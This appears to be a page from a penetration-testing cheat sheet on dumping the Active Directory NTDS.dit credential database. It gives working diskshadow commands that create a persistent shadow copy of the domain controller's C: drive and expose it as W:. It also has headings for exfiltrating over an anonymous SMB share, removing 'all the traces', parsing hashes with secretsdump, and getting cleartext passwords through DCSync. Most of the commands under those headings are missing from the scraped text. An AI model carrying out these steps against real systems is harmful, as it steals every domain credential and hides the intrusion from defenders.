NTDS

Windows NT Directory Services + DCSync

Shadow Disk

Create via Diskshadow

Locate diskshadow.exe:

cmd /c where /R C:\ diskshadow.exe

Create a shadow disk:

cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c diskshadow.exe /s add_vol.txt
add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup

Exfiltrate over SMB

Create a network share with anonymous access and put there all we need:

Connect to the share and grab the files:

Clean Up

Remove the shadow volume:

Remove the share and all the traces:

Raw NTDS.dit Copy

Obtain a copy of NTDS.dit:

Parse on-site in conjunction with NtdsAuditarrow-up-right:

Parse on-site in conjunction with secretsdump.exearrow-up-right:

Parse NTDS.dit

Parse with secretsdump.pyarrow-up-right:

Parse with aesedbarrow-up-right (faster but less informative):

Parse with ntdissector:

Reversible Encryption

Check if enabled globally:

  • gpmc.msc > Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security Settings > Account Policies > Password Policy > Store passwords using reversible encryption > Enabled

Check if enabled for specific users:

circle-info

When DCSyncing such users, a cleartext password will be obtained.

Tools

Last updated